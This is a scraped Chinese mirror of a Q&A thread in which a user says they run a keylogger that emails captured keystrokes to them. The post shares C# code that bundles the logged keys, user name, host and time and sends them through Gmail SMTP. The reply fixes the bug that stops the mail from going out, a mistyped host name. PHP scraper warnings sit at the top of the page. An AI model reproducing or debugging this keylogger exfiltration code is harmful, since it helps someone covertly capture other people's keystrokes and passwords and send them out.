Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/html/71.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C# 系统smtp异常_C#_Visual Studio_Smtp - Fatal编程技术网

C# 系统smtp异常

C# 系统smtp异常,c#,visual-studio,smtp,C#,Visual Studio,Smtp,我正在使用键盘记录器将钥匙发送到我的电子邮件,我遇到了一个问题。我使用的是visual studio C#,当我运行该程序时,会出现一个异常“System.Net.Mail.SmtpException:'发送邮件失败'。” 这个问题有解决办法吗? 这是我的密码: ... emailBody += "\nUser: " + Environment.UserDomainName + " \\ " + Environment.UserName; emailBody += "\n

我正在使用键盘记录器将钥匙发送到我的电子邮件,我遇到了一个问题。我使用的是visual studio C#,当我运行该程序时,会出现一个异常“System.Net.Mail.SmtpException:'发送邮件失败'。” 这个问题有解决办法吗? 这是我的密码:

    ... emailBody += "\nUser: " + Environment.UserDomainName + " \\ " + Environment.UserName;
        emailBody += "\nhost " + host;
        emailBody += "\ntime: " + now.ToString();
        emailBody += logContents;

        SmtpClient client = new SmtpClient("smpt.gmail.com", 587);
        MailMessage mailMessage = new MailMessage();

        mailMessage.From = new MailAddress("email address");
        mailMessage.To.Add("email address");
        mailMessage.Subject = subject;
        client.UseDefaultCredentials = false;
        client.EnableSsl = true;
        client.Credentials = new System.Net.NetworkCredential("my email address", "my password");
        mailMessage.Body = emailBody;

        client.Send(mailMessage);

用于SMTP事务的主机错误。您需要将其修改为
smtp.gmail.com
,而不是
smpt

@Skantzy如果此答案对您有帮助,请单击
将其标记为答案。